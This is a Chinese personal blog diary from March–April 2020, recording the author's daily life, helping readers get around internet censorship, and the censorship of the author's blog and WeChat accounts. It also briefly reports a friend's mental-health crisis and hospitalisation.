问题是，我们面对现实，应该做什么？我们是去放大人们的懒惰贪婪虚荣好色... 还是做一些微小的努力，尝试去找找人们身上美好的一面，看看如何去放大，哪怕只是一点点？改变现实的前提确实是面对现实，但不知道为什么，在现在的语境中，「面对现实」几乎等于随波逐流。说到底，只是盛行的犬儒主义的一个体现：既然现实是这样，那就这样好了，变得更糟糕，也不能怪我。
人们都保留了一个「爬虫大脑」，代表了我们每个人没有进化的一面——每个人，不管多么衣冠楚楚，看到一个东西的时候潜意识里面都会关心三件事情：「它会不会吃了我？我能不能吃它？我可不可以和它生殖？」我也一样。看到穿得少的姑娘图片，也会下意识去点击。这是本能驱动的。
在快手中，你往往还能看到每个普通人努力将自己变得更好的一面，哪怕是搬砖，那是搬得真好。你会想，人家搬砖都那么努力，你自己呢？然后你情不自禁给了个赞。by 王俊煜
所以，上周我给父母的手机装了「快手」而不是「抖音」。因为快手践行了土豆网的那句 Slogan:「每个人都是生活的导演」。
因为没有使用一些大众 App（微博、抖音等），纵使跟同龄人脱节（没有话题），也没觉得可惜，我甚至可怜 Ta 们生活在信息的垃圾堆里，而全然不觉。
所以很多事情一开始就是 Fake News（假新闻），根本没必要展开讨论。
忽然想起了4 年的前的这个时候（2016 年），乏味的大三生活，突然想起了翻墙。通过百度搜索蛛丝马迹，顺着梯子，一步一步爬到墙头，竟发现外面的世界居然如此精彩。翻墙不仅改变了我获取信息的方式，也改变了我的职业选择。缘，妙不可言。
高中同学成了耶稣的传教士，无数次邀请我加入 Ta 们的信仰，我一一拒绝，但 Ta 还是不死心。
2020-03-11
研究了一晚上美区苹果账号，偶遇了您的文章，帮了大忙，非常感谢。很喜欢您的博客，头一次在网上发现这么干净的角落，爱了。by Mark
03:17帮读者的 iPad 科学上网，收到了 ￥18 的赞赏。放在以前不好意思收，可是最近养猫了。
16:012020-03-12
电动的摩托车的左后视镜的螺丝「滑」了，飙车的时候，它它会像寻龙尺一样转来转去。
2020-03-13
注意力还是无法集中。
总的来说，单身就只是一种状态而已。如果一定要说单身人士和其他人的区别，只能说，单身意味着你有时候很孤独，有时候很自由。处在一段亲密关系中，意味着有时候你感到有人陪伴的安然，有时候因对方的存在而感到束缚和烦躁。更何况，单身人士暂时不需要花费时间和精力去维护一段亲密关系，从而有更多机会与自己相处，做出选择和决定的时候只用对自己负责。他们过得不惨、也不需要你费心为他们的单身找原因。很多单身人士对自己有着高而严格的要求，他们追求自我成长，人生可以过得丰富开心。如果你还单身，我们不会祝你早日脱单，但我们祝你过好积极进取的单身生活，早日脱离“东宫娘娘烙大饼, 西宫娘娘剥大葱”式的民间想象。by 李哲 & 胡昱
如果未来不允许这样的机会，或者我们认为这样一种投入要我们放弃太多尊严，我们可以不做这个事。自由的灵魂，比那些东西重要。我们保持一种乐观，不扭曲，不堕入虚无，不希望自己像个受害者，我们选择做什么样的事，选择什么样的立场，就知道会有什么样的结果。夏末快乐。by 《好奇心日报》
2 年前的今天，我转发了一句「风吹草动」的话，在祖国 Qiang 大的审查系统下，我被邀请到派出所「做客」。
16:502020-03-14
拿小米 6 去小米之家（授权店）花了 ￥99 换了新的手机电池。
11:30黑色的 QCY T5 真无线蓝牙耳机（￥99）和
黑色的小米移动电源 3 20000mAh 高配版（￥199）放在一起，真好看。64 GB的手机太憋屈了，隔一段时间就要格式化（恢复出厂设置）一次，
23:36帮一位老读者科学上网，用了 2 个种。
2020-03-15
海贼王动画 924 太看了。
13:30皮相，即表面、浅层次。人的能耐常被分为“道”和“术”两类。“道”的层次高，“术”的层次低，属于皮相。这种分类我很赞同。不过，坐而论道，必先有术。不学无术而论道者，穷则独欺其身，达则兼害天下。在《神雕侠侣》中，觉远把《九阳真经》也称作“皮相小道之学”。我们凡人，能识得万物皮相，习得一两样皮相小道，就很不容易。如能更进一步，当然很好。如果不能，安于皮相，不妄谈玄虚，也算做了个本分人。所以，先从皮相开始。by tombkeeper
终于刷完了所有公众号。
23:4564 GB 的小米 6 第 N 次恢复出厂设置。
00:202020-03-16
纯纯写作的开发者真的太棒了，昨天提了需求，今天就把这个需求整合到 App 里了。
10:00突然被加入「A2N 回国支持小组」。
17:16今天上班好颓废，什么都不想干。
18:082020-03-17
没有出过国，去编辑「疫情回国指南」，术语好陌生。
00:51刚刚在微信朋友圈得知：前前同事 YQ 在 2020年 3 月 13 日 生下一个 8.5 斤的小胖妞。过程艰难，37 小时顺产失败，最后剖腹产。
第一次制作「菜脯煎蛋」，失败。
20:052020-03-18
你好，经平台审核，此公众号存在违反《中华人民共和国网络安全法》行为，违规文章 掌握这些搜索技巧，你可以更高效地找到的信息 已被计算机管理监察机构责令删除：
- 帐号名称：庭说
- 处理时间：2020 年 03 月 18 日 18:05
没有告知具体的违规原因，只有「根据相关法律法规和政策」。
2018 年 3 月 13 日下午 6 点多，有幸坐上警车 去派出所喝茶。
感谢网警今年法外开恩，仅仅只是删除文章。而且技术也进步了，公众号的历史消息都找不到被删的文章。
是你们，促进了祖国经济社会信息化健康发展。Peace。
为了庆祝被不可抗力删文，今晚我为自己做了一道名为 404 的菜：
- 4 个 番茄（fān qiáng）
- 0（圆）形的陶瓷盘子（英文 china）
- 4 个 🥚 鸡蛋（操蛋的中文互联网）
味道真不错！
2020-03-19
夜深了，终于看完了 Telegram FAQ。
母亲（ZFX）都 57 岁了。
小米 6 装上了Google 相机，妙不可言。
笑口常开，好彩自然来。by 《搜神传》
2020-03-20
眼睛 疼，早点睡 。
ZWB 过来找我教 Ta 翻墙。吃了我做的晚餐，夸赞道：「你做的饭真好吃。」于是接连吃了好几碗饭。但是 Ta 把人生想得特别复杂，精神状态非常不好，经常失神：
- 刚刚注册的账号，转眼就忘记密码了
- 不记得自己的租房地址
- 随意翻看我手机上的相册和微信
- 讨厌猫，并狠狠地踢飞了 Dora
2020-03-21
ZWB 在我的寒舍借宿一晚，希望我的呼噜声和 Dora 的猫叫声不会吵到 Ta 睡觉。
送走了这位「不速之客」，希望 Ta 可以及早「回过神」来。
从 2018 年 3 月 21 日使用 京价保 以来，共退款 ￥262.28 人民币。
鉴于手机孱弱的夜拍能力，所以我晚上很少拍照。现在有了 Google 相机 的加持，我的创作欲望又回来了。
20:27又是一个研究 Telegram 的深夜。
01:192020-03-22
去打篮球了。
17:312020-03-23
今晚只规划了半个钟写博客，但是 Telegram 有太多需要探索了，所以又熬夜了。
01:352010 年 3 月 23 日 3 时 3 分，谷歌宣布退出中国大陆：「我们不能继续在 google.cn 搜索结果上自我审查」
你在错误的方向或是格局很小的方向上努力，能有用么？by 陈皓
母亲（ZFX）的手机没内存，幸好远程视频搞定了。
19:36老铁 GJL 前几天递交了辞职申请，准备去海南深造，愿 Ta 不要晒太黑。
2020-03-24
电报的匿名性，不可避免成了滋生「黑色产业链」的温床。
2019 年 6 月 4 日，庭说的博客 获得 Google 的 Sitelinks （全站链接、站点链接） 。Sitelinks 是自动生成的，只有当 Google 认为 Sitelinks 对用户有用时，才会在搜索结果中显示它们。
2020 年 1 月 14 日，Google 更新了算法（January 2020 Core Update），博客的 Sitelinks 全部被收回。
2020 年 3 月 24 日，Google 终于把 Sitelinks 还给 tingtalk.me 了。
菲律宾客户要 1000 个（盾牌型）面罩捐给马尼拉的一家医院，我不忍心，因为我们公司生产的面罩不能防飞沫。于是我帮她采购 N95 口罩或一次性医用口罩。
穷则独善其身，我总是做出很多反商业的行为，也许这辈子都不能实现财务自由了。
下班了去打篮球，但是懒得回家换衣服，于是把白色 T 恤衫给脱了，只穿着一件摇粒绒外套。
忘记打开电饭煲的电源了，第一次忘记。
20:29日剧 《下辈子我再好好过》 每集 24 分钟，一共 12 集。披着「性开放」的外衣，藏着纯粹的内核。风格唯美，剧情简单，频频引我为主角们欢呼。不建议观看。
2020-03-25
ZYT 找我吃生蚝，满腔苦衷与我诉，我安慰道：「只要身体健在，一切都可以东山再起。名利和自尊心都只是外物，得之你幸，失之一笑而过。」
01:16有时候活着真累心里倍受煎熬。还是我向人生索价太多。by ZYX
时间也许可以冲淡一切，不管当时是多爱还是多恨。
我学了 GTD，现在这个系统已经奔溃了，To Do 里面都是待办事项。因为好奇心泛滥，注意力涣散。
中午的便当是豌豆炒肉沫，放进微波炉加热之后，部分五花肉开始变得狂热起来，用自爆的方式结束了自己年轻的生命，已所不欲，勿施于豆，这些暴乱分子居然还顺便带走了我的二十个豌豆兄弟（被炸飞）。
庭说的 Telegram 频道 有 100 个人关注了。
今晚什么都不想做，早点睡觉。
23：222020-03-26
终于把 Chrome 这篇文章的屁股擦干净了。
2020-03-27
请了半天假，把中国太平的年金险退了。一年前买 ￥22483.8，现在退 ￥15288.68，损失 ￥7195.12。说好 3 天到 5 天到账。过了一周多，还没处理。我只好吓唬退保人员，使出杀手锏：投诉到保监会。最终 4 月 8 日才到账。突然多了一笔钱，怎么用好呢？
14:27最近大脑经常会疼，脸部的肌肉自己也控制不住了，但求速死！像个脑瘫智障患者一样。去医院，医生总是说没事。我怀疑我之前做手术的时候身体或者大脑被植入了某种装置，大脑总是能听到编程的声音。我受到这种折磨三年多了。而且是被看不见的东西折磨了这么久。我怀疑是我之前撩过的一个妹子，还有另外一个男生追她，很可能就是那个男生搞的鬼。通过网络手段进行攻击，我现在控制不了自己的脸了，自己的舌头会像狗一样伸出来。还有我自己脸部会做很扭曲的表情。你不知道我昨晚发生的事，真的是痛苦到要死。by ZWB
如果人间活得这么累，还是早点解脱好。
医院抢救中。
2020-03-28
所幸 ZWB 脱离生命危险。
有线鼠标被猫咪咬坏了（立刻去京东买 ￥105 的罗技 G102），于是今天给自己放了个假。上午通过 荐片 客户端在线观赏了一部盖·里奇黑帮喜剧片：《绅士们》（The Gentlemen，2020）。
幸好在 2020 年 1 月 1 日看了这部鬼才导演的 《两杆大烟枪》（Lock, Stock and Two Smoking Barrels，1988），见识过这种前所未有的叙事方式后，观赏《绅士们》的过程中才不会觉得那么突兀。你不必去纠结每个人物的动机，因为这是一部节奏取胜的电影。
影片的台词也很有风格，例如 I quite like it when you talk dirty to me.
随手君乐宝 2020 年 3 月 8 日生产纯牛奶，居然是臭的。从初中开始喝纯牛奶，今天第一次倒霉。
16:302020-03-29
几乎尝试了所有主流的拼音输入法，还是换回了「讯飞输入法」，因为它可高度自定义。
困了，就早点睡。
00:32学做菜 10 个月，第 1 次煲汤：艾草煲瘦肉，解一解乡愁。
19:342020-03-30
养了 2 条大斗鱼，1 条小斗鱼。今天发现，小斗鱼归西了。
Yes I'm just staying home. This govt of ours don't provide a lot! Our doctors are dying. I wish I can do something but I'm 62. Terrible here. We’re in a lock down and can’t get out. Shipments are stuck and DOH is not releasing goods. Stupid government here. You take care as well thank you. by Mariko (Philippines)
用了 4 天，博客的月访问量从 4000 人涨到接近 5500。但我有一些担忧，因为博客里有翻墙教程，流量太大，GFW 注意到了，可能博客就被封了，虽然用了番茄这个字眼（掩耳盗铃），也许是多虑了。
感谢 扫地僧 友情推荐，给庭说涨了一波读者。
2020-03-31
我在《面向宝安区户籍在册轮候家庭配租公共租赁住房递补认租家庭名单》中排第 6498 位，按照目前的进度（一次配 500 户），大概要十年才能轮到我。
我的生辰八字是一九九四年正月廿六酉时。
煲饭的时候跟母亲（ZFX）视频聊天，结果现在做好了菜，饭还是生的（没有启动电饭煲）。
2020-04
2020-04-01
沉迷写博客，跳槽计划无限期延后，反正工资够花就行。
没有劳累，就没有安睡。by 何同学
下载回抖音，调好了 20:00 的闹钟，看了老罗（罗永浩）的卖货直播。有点失望，因为老罗眼里没有泛着光。不过理解他的处境，依旧是条好汉。
2020-04-02
母亲（ZFX）的手机只有 16 GB，但是家庭群的消息太多了，所以手机一下子就没空间，然后微信不能正常使用。经常要父亲（ZQJ）的手机视频通话，一步一步，艰难地教父亲操作手机。
都到 00:30 了，早点休息，找工作的事不急，多少钱还不是一日三餐。
00:392020-04-03
因为猫咪会偷喝我的水，所以我会把水杯放在高处，而这个高处就在笔记本电脑的上面。常在河边走，哪有不湿鞋。于是刚刚没端稳水杯，把水洒到了笔记本电脑键盘的右上角上。立刻把文章推送到博客上，关机，用吹风筒吹了一下。希望它能再陪我几年。
00:34为了给美国客户赶 3000 PCS 的民用防护面罩，19:30 才下班。一出来电梯，清明时节雨纷纷，只好去附近的超市买了摩托车雨衣（￥48.5）。
2020-04-04
答应了 3 位朋友制作国内企业网站，到现在还没有动手。
审查力度：内容发表不受过多限制——没有篇幅/字数/形式的限制。不设置过多敏感词。内容不被删除或者由用户自己选出管理者来审查并删除。
时间调度：用户发表内容的同时，其他用户可以即时在平台中浏览。平台不限制用户每天发表的内容数量。
互动强度：存在留言区。内容可以被讨论，而且讨论本身是被看重的。讨论的内容没有篇幅限制，而且交互界面上其可视层级不应比回复的内容低太多。留言之间的交互次数不受限制。
平台热度：平台对所有用户开放。可达性高，占据互联网中一块重要的疆域。用户身份是多元而非单一的。
存储：历史内容不被清理并且作为一个整体易于检索。
惟有理性的对话才能消解矛盾。没有地方讨论，只会有更多的两极化，更多的简化和污名化，更多无意义的争端。
刚刚突然联想到，「喝茶」是「核查」的马甲。
2020-04-05
博客 暂时无法访问，正在修复中，希望不是不可抗力。
修复失败，先睡觉。希望明早醒来，一切恢复正常。
02:44和谐的社会，只需要一种声音。
上个月被微信公众号「强奸」。
这个月被中国网信办「干翻」。2020-04-04 清明节（404），庭说的博客 tingtalk.me（2017-11-07 注册），步 RSS 先贤的后尘，被国家互联网信息办公室强制执行死刑（域名被国内 DNS 劫持到 facebook.com、twitter.com 等）。这代表此后很长的一段时间，你的上网设备只有吃了「番茄」后才能访问我的个人网站。
虽然我在这个博客倾注了无数个日日夜夜，但我并没有感到特别悲伤，因为它已经帮助第一批读者突破网络审查，获取优质信息。Ta 们会把自由的理念传递下去，虽然收效甚微，但越是绝望的时代，越不能把心中的理想世界拱手让给破坏者。
没有人能自全，没有人是孤岛；
每人都是大陆的一片，要为本土应卯。
那便是一块土地，那便是一方海角，那便是一座庄园，不论是你的、还是朋友的，一旦海水冲走，欧洲就要变小。
任何人的死亡，都是我的减少，作为人类的一员，我与生灵共老。
丧钟在为谁敲，我本茫然不晓，不为幽明永隔，它正为你哀悼。
by 海明威《丧钟为谁而鸣》如果我在微信上也消失了，可以通过以下方式找到我：
- 电邮：tingtalk.me@gmail.com
- 电报：https://t.me/tingtalkme
我猜中了结局，只是没有想到这结局来得这么快。Rest in peace.
此刻，庭说电报频道的订阅人数是 404 个。
21:392020-04-06
二姐做的辣椒酱真好吃。
换新的域名，我还是会写翻墙和 Telegram 相关的内容，因为这是改善「数字生活」不可或缺的行动，所以还是会被墙。
这个小而美的博客本质上一个「孤芳自赏」的作品（.me 结尾的域名），处处都是反营销的影子：
- 几乎没有图片（不方便搬家）
- 文章很长
- 克制的表达（例如少用感叹号）
第一批读者都照顾不过来了（有些动手能力较差），就让墙去筛选第二批读者吧。混迹互联网，讲究的是缘分。
Tim 我刚才看到了你公众号上更新的消息，为你感到惋惜。谢谢你一直为大家科普知识和工具，我翻了好多你的博客文章，真的很有帮助。by Carlentti
心态放宽，天地无边。
老同事 DHF 隔一段时间就会打电话给我叙旧，怀念做我室友的时光。
16:49坐公交，不舒服。
连洗碗布都可以顺走的人，绝对是居家好男人。
又被人引荐：
你和 豆瓣网络资源菊 互相加一下微信，彼此认识一下，未来你们会彼此看到对方的闪光点。你们是心中有光的人，应该认识一下，我把你们的公号发到群里，方便你们彼此了解。祝你们早点擦出友谊的火花。by LS
2020-04-07
刚刚帮助一位五六十岁的读者翻墙。因为他年纪比较大，花了很长时间（应该有个把月）也看不懂我写的翻墙教程。于是我就通过 QQ 远程控制他的电脑，结合微信语音通话，一步一步教他怎么用。全部搞定之后，他说道:「虽然我看不懂你的文章，但就是很喜欢看，觉得博主很了不起。」
饮食男女，人之大欲：
- 饮食：活下来
- 男女：把基因传下去（性高潮是引诱你交配的手段）
生物，大抵如此。
食色性也：
- 食：吃饭
- 色：性欲
- 性：人之本性
- 也：语气助词
2020-04-08
服役多年的笔记本电脑，自带音箱在播放大音量时会破音，没挑到合适的电脑蓝牙音响。
00:35看你写的内容，觉得在一个城市我们应该能成为常聚的朋友。by ZF（MZ）
我太膨胀了，居然敢买整一只稻田鸭（850 克）：￥33.9。
Hi Tim，跟你学着建立了一个博客，开心😆 by QY
父亲（ZQJ）的腰到现在还没好，还在理疗中。在京东网上商城买了护腰带（￥79）寄回去，并转账 ￥2,000 回去（其中 ￥1500 是过年的相亲支出）。
你好，经平台审核，此公众号存在违反《即时通信工具公众信息服务发展管理暂行规定》已被责令屏蔽所有内容行为，已封号至永久。
- 帐号名称：庭说
- 处理时间：2020 年 04 月 08 日 20:33
- 违反规范：即时通信工具公众信息服务发展管理暂行规定
登录网页版的微信公众号后台：
注意：根据相关法律法规和政策的要求，你的帐号已被永久屏蔽。
违规内容：互联网信息内容主管部门通报。公元 2020 年 4 月 8 日 20:33，继庭说的博客（tingtalk.me）被赐死后，公众号「庭说」也被迫结束了年轻的生命。青山不改，绿水长流，明月依旧星渐稀。
公众号死因可能是 4 月 5 日发的博客被封通告的其中 6 个字：「突破网络审查」。我真是太冲了，不过迟早要被封的。
通过公众号评论区上方的广告，获得 ￥6.14，但没有提现，就被封了。
在备用微信号里，短时间内添加 35 个好友：改备注，打标签。手指酸了。谢谢大家还愿意和我做朋友。晚安，世界和你。
「庭说」终于自由了，不必说句话，还要遮遮掩掩，想双关语 / 同音词，例如：翻墙 = 番茄。
2020-04-09
封禁是这个时代无声的勋章。by YJ
去借 6 个身份证，再开 6 个微信公众号。集齐 7 个被封的微信公众号，就能召唤自由女神。
2019 年 7 月 22 日 00:26 庭说建立 Telegram Group，9 月 28 日 18:38 迎来第一位成员。
2019 年 2 月 12 日，庭说建立 Telegram Channel。
出差谈单子，预计无功而返。
14:15打道回府。
17:00任何知识，只有系统学习才能融会贯通。信息可以碎片化，但是知识不可以。by 果核Group
好饿，吃个火龙果再去打篮球。
今晚做啤酒鸭。不能切太碎，不能放太多油。还有，该换不粘锅了。
2020-04-10
日子一天天过去，我的工作却没有任何进展。
一只教了我三年的高中老师跟我说：「我们在激情燃烧的岁月中一起战斗（突破网络审查）。」
一个负责任的人要尽量不连累他人。你还没做成的时候，说什么都没用，说得再多，说得再对，也都是错的，失败后都将成为别人嘲笑的依据。等取得了世俗意义上的成功，做成了事之后，随便从书上摘抄两句，都有一堆人转发点赞，大呼讲的真有道理。自强则万强，其它声音并不重要。by Fenng
Chrome for Android 居然推荐我使用「搜狗搜索」，难道迫于当局的压力？
写博客越久，对文字的要求就越高。在打上句号之前，检查一遍是否有错别字，是否有歧义，是否可以再精炼。
昨晚我看了思维实验室的这个 视频，从生命演化的角度，理解了人类为什么会有自私的「利他行为」：用博客分享经验和见闻。
2020-04-11
一位读者想要把我写的《电报教程》转载在 Ta 的私人公众号（只有十几个关注者），作为与公众号告别的最终章。
前前同事 DHF 准备辞职了，可能回陕西带小孩，打电话约我过去吃一顿。
09:46上午中国电信宽带又出问题，于是看了《中国机长》（The Captain，2019），快进了不少无关剧情。
热情不是来自外部的激励，而是来自内在的自我实现的需要。每个人心中都有一个火种，不要听任它熄灭，要找到它，点燃它。
从五点睡到现在，才去打篮球。
17:572020-04-12
我唯一完整看完的纸质书是《暗访十年》，在高中宝贵的午休间隙看的。
今天阳光明媚，天气预报却说大风天气。
今天帮助了两位朋友翻墙。
两年前，我给 67 岁高龄的 DHF 老同事买了红米手机，但是 Ta 现在忘记解锁密码了，我只好把手机恢复出厂设置，幸好当时我有给 Ta 开通了小米云服务，所有照片都还在。接着把数据从公司的手机迁移到私人手机：
- 更换微信绑定的手机号码
- 通过蓝牙把手机联系人分享到私人手机
- 下载好金太阳炒股 App（因为亏损，经常摔手机）
- 把字体调大
过几天 Ta 就会离职，把手机号码和手机归还给手机，回到陕西带孩子。所以这次是可能我们最后一次见面。
博客在中国大陆无法访问，目前只能通过 PDF 分享文章，非常麻烦。不过，今天帮助 2 位读者实现网络自由，我方阵营正在慢慢扩大。与天斗，与 D 斗，与人斗，其乐无穷。
2020-04-13
2008-03-25 16:28:30，我发出了第一条说说：饕餮，兽名，身如牛，人面，目在腋下，食人；饕餮是一种「恶兽」，而不是鱼蛇蟒鳄！
2019-04-11 16:36:00，我发出最后一条说说：保持好奇心。
在这 11 年间，我一共在 QQ 空间发表了 469 条说说。
从 2019 年开始，我把所有相片都搬家到无限容量（高画质模式）的 Google Photos，现在我已完全脱离了 QQ 空间，又在「数字移民」的道路上跨出了一小步。
斥巨资（使用优惠券后 ￥333.9）买了 EDIFIER R1080BT 有源蓝牙 5.0 音箱听播客。笔记本电脑的扬声器也因为「年久失修」破音了。
2020-04-14
一个朋友因为读书而走出功利主义，但陷入了虚无主义，淡泊名利，没有上进心，认为平凡可贵。你怎么看呢？by Jack
Ta 的平凡起码要对自己和「环境」没伤害：
- 能解决自己的温饱，不会营养不均衡而生病，拖累旁人。
- 如果有家庭责任，请履行，不然违背了组建家庭的初衷。父母健在，请尽孝，最起码衣食无忧。
- 如果公司允许你平凡（例如图书管理员），不上进没问题。否则，请履行雇员的责任。
尊重每个人的选择，但是也要为之前选择负责到底，例如结了婚生了娃，请保证 Ta 们可以体面的生存（不求大富大贵）。
总之，先照顾好自己，然后做好各种角色的基本任务（及格线即可），你就是做到了自由的平凡，而不是自私的平凡。by Tim
两条斗鱼开始吐泡泡（筑泡巢），看来是准备要生仔了。于是我换了一个大一点的「鱼缸」（其实废弃的电煲锅），并在水面上放了一张打磨纱布（本来是用来洗碗的），并用架子勾起来海绵，防止这张幼崽的「着床」沉下去。接下来，我就就可以收获很多斗鱼宝宝了。
一直想拥有一个 Google Voice。今天抱着侥幸的心理，在没有验证美国 IP 是否足够「纯净」的情况下， 在手机短信验证码临时接收平台 verifywithsms.com 充值了 2.1 美元。接到了码，却注册失败。于是在 Google 上找了一个商家，花了 28 人民币买了一个 Google Voice。
接着使用 Google Voice 注册美国区的 PayPal，然后给 维基百科 捐了 1 美元，测试 PayPal 是否可用。
下一步就可以用美国区 PayPal 绑定美国区的 Apple ID，安装一些在中国区的 App Store 找不到的 app。突然忘了，我是买不起 iPhone 的 Android 用户。
2020-04-15
沐浴在清晨温暖的阳光浴，好幸福。
2020-04-16
又忘记写日志。为防止以后再次发生此类事件，躺在被窝后的第一件事就是写日志。
父亲 62 岁生日，发了 ￥666 的祝寿金。
借同学 CT 的微信号和身份证再开了一个公众号：庭说 TingTalk。
12:30微信公众号和小程序，让整个中文互联网更加支离破碎，因为这些内容都不能被搜索引擎抓取。
互联网已经不是原来的样子：自由、开放、共享。而是一个个 App 信息孤岛。
2020-04-17
没有留言功能的公众号，太无趣了。
01:10昨晚在公众号发了一篇文章：教大家如何访问庭说博客，一位读者（L）赞赏了 10 块钱，并留言说 Ta 也想获得网络自由。于是今天忙完工作之后，帮 Ta 在 iPhone 手机上安装了 Shadowrocket。接着又给我发了 2 个 88 元的红包。在以前，我不会收读者的红包，并笑道：在文章下面赞赏几块钱即可（但大部分读者并不会这么做）。现在养了猫，不得不向金钱低头。
每次使用最生活（zsh.com）的毛巾，都有一种埋进少女胸脯的感觉：柔软又舒适，让人深陷其中，无法自拔。
2020-04-18
庭说的第二个公众号「庭说 TingTalk」已封号至 2020 年 4 月 25 日。
圈友回复：
- 一个人改变不了世界。by ZWR
- 古时还有个“莫须有”的罪名，现在连用这个罪名的勇气都没有了，而统称“相关法律法规和政策”。by Sam
- 草纸，高种姓擦屁股用的，少见多怪。by LCY
- Rest in peace. by ZX（Kathy）
这次也是因为自动回复（关注公众号后的第一句话）被封：越是绝望的时代，越不能把心中的理想世界，拱手让给破坏者。庭说的公众号可能会再次被永久封号，欢迎读者转移到新的后花园：t.me/tingtalk，如何进入这个自由的后花园：传送门。
01:21如果文章分开写，博客可以获得更多的「搜索自然流量」，因为标题（文章）越多，能覆盖的搜索关键词越多。也不至于，写了 3 年，博客的月访问用户才 8 千。不过，庭说不是一个商业项目，流量不是写作的第一出发点。所以能一篇讲清楚的，绝对不「挤牙膏」。
2020-04-19
庭说的第一个公众号达到 500 个关注者后，开通了广告，一共挣了 ￥6.58，就夭折了。
该死的谷歌相机，把美颜做得这么自然（Natural），彻底打消了我购买 iPhone 的念头，及时把我从「Lots to love. Less to spend」（称心称手，超值入手）的消费陷阱拉上来。
今天去立新湖公园走了一圈，腿发抖，膝盖疼，屁股酸（之前打篮球患下的旧伤一直未好）。我要开始加强锻炼了。
2020-04-20
花了一晚上学习如何使用谷歌相机 App。
2020-04-21
去打篮球之前，我先吃了个梨压压饿意。为了显摆我的「投篮命中率」，我站在垃圾桶的几米开外，向其投掷梨子核。没有命中，乖乖地去捡，放进垃圾桶。从前的我，可能不会修复自己犯下的错误，但现在，我变得正常了。
帮人找人，获得 ￥300。
2020-04-22
折腾了大半天，还是你能把微信朋友圈数据全部导出来。
00:24纯纯写作 App 支持在快捷输入项中插入日期或时间，这个功能实在太赞了。
00:28注册微信的时候，用户会默认同意「腾讯微信软件许可及服务协议」，其中在 7.1.2 提到一个霸王条款：「微信帐号的所有权归腾讯公司所有，用户完成申请注册手续后，仅获得微信帐号的使用权，且该使用权仅属于初始申请注册人。……」。
用户免费使用微信（无所有权），微信收集用户的私人数据，贩卖给广告商，这无可厚非。但当用户想要取回 Ta 所创造的内容（数字资产）时，例如导出微信个人数据（朋友圈数据和收藏功能数据等），只好借助欧盟的 GDPR（通用数据保护条例）行使数据可携权。于是我花了 5.26 USD（含税）买了一个比利时的手机号码，微信却猖言道：「由于当地法规限制，WeChat 暂不支援中国大陆用户将绑定的手机号码更换为欧盟手机号码。」
请问是哪条「当地法规」？这不是「法制」，而是「Fuck 制」：强奸一个个没有反抗能力的用户！
10:14一些不严谨的观点，不一定对：
- 我们的教育以「找到一个好工作」为目的，扼杀了很多学生的创造力，包括我自己（设计一个封面，都要发呆很久）。
- 社会论调只有单一的「利益导向」（这好像也没什么不对），只承认世俗意义的成功。
- 昨天我又在朋友圈看到一位（女）圈友说：换上了「暴富」的手机壁纸，好看。生日祝福和结婚祝福也是「暴富」。
非常单一的价值观，会扭曲人性的光辉和创造力。
11:15言论空间一步步收紧，欢迎亲历「文字狱」时代（言重了）。
11:50通信工具越了不起，其内容似乎就越琐碎、庸俗，或者说令人丧气。……等地球完全被驯服了，宁静了，甚至有点疲惫了，仍然还有空间给那些热爱自由的人，那些强悍的拓荒者，那些永无止息的冒险者。不过他们的工具不再是斧头、枪、独木舟和马车，而将是核电厂、等离子引擎，以及水栽农场。如同所有的母亲，地球一定要和她的子女道别的那一天，很快就要来了。by 《2001. 太空漫游》
13:39我在念大学一年级和二年级的时候，每天都会把「人民日报」和「央视新闻」的公众号看完。到了大学三年级，开始自学翻墙后，才发现这些党媒都在粉饰太平。
19:03我的一条斗鱼掉了一只眼睛。
19:13老爸之前干重活，压断了肋骨，现在照了 X 光才知道。
19:43在「叮咚买菜」买了亲亲肠、撒尿肉丸和鱼丸打火锅，结果现在拉肚子。
20:40吾生也有涯，而知也无涯。有限的生命，追求着无限的欲望（好奇心）。人的贪婪，稀释了效率与时间，最终也稀释了自己的生活体验。如果说人有什么智慧，那一定是既认识到自己的伟大，同时又认识到自己的渺小。盲目斜杠与多线程，可能会使自己连唯一该做的事都无法好好去做。希望收件箱里要做的事越来越少，但每一件却都是你最好的选择，没有之一。by 包几君Pro
23:272020-04-23
在网上生活越久，越来越不想说服别人。我在朋友圈屏蔽人的决策时间越来越短了，不想去维系这些关系，越来越不在乎。删除，屏蔽，拉黑，一把梭。前几天把某个长辈的微信给删除了，总是发垃圾资讯给我：
- 公司求赞
- 养生谣言
- 猎奇视频
说也不说不听。
13:062020-04-24
你是一名优秀的老师。by Carey
声明：本人的黑眼圈纯粹是因为熬夜看《口罩猎人》造成的，与多人运动无关，旁边的夜猫子可以作证，请放心与我交友。
02:27近期我在（持续）帮助一个为奶爸实现体面的数字生活，他抱怨说要工作和带孩子，没时间看文章。所以很多 Google 一下就能得到的东西，也经常问我。昨天没忍住，反问道：难道我就很空闲？新的文章还没动笔，脚下的猫嗷嗷待撸……
凡事要有 Plan B。
我甚至想到了最坏的情况，要是我突然死去怎么办，好几次都想：不如先起草好遗书放着。
另一种是得了重大疾病，这个时候我买的保险会为我撑着，不会让整个家庭因病致病。
还有就是文章要确保安然无恙，不会因为某个笔记软件倒闭或者出现事故，丢失或者无法导出。所以我采用多个电脑的本地文件 + 坚果云（有回收站）。
我当下想法，会现在 纯纯写作 里起草好，再发布在社交媒体。纵使社交媒体删我动态，封我号，我的碎碎念还有备份。
08:502020-04-25
旧的不粘锅因为使用方法不当（干烧、高温、骤冷等），提前「退役」，连一个手抓饼都煎不好。买了一口大的不粘锅（到手价 ￥92.92），终于可以好好炒菜了。
11:58嫂嫂怀了个二胎，就要生产了，上午胎心不稳，下午平安地生出来了：男（第一胎是女），5 斤，脐带紧紧地绕了脖子两圈。嫂哥喜迎「小老鼠」，父母总算抱上孙子了。
14:35关于朵弟弟名字，老爸想到了「烨」字，当我告诉老爸这个字的普通话读音不够「响亮有力」，老爸就改口了。
今天我做了一个决定，再次转行。
2020-04-26
没写。
2020-04-27
每周日都要打扫一下房间卫生，不能偷懒。
窗外有一家叫「鸡煲王」的消夜店，总是向我发出诡异的红光，三百六五天，从不停歇。
「消夜」一词，本指用酒食消磨夜晚，后引申为「深宵小吃」。
2020-04-28
我现在的体重是 66 kg，MIUI 12 建议的体重是 58.6 kg。
吃小龙虾和酸菜鱼，整理行李，回老家。
2020-04-29
没什么带回老家的，不如带 3 个米缸（油桶）回去吧，这个米蛀虫。
出发，抱着刚出生的侄子回老家。
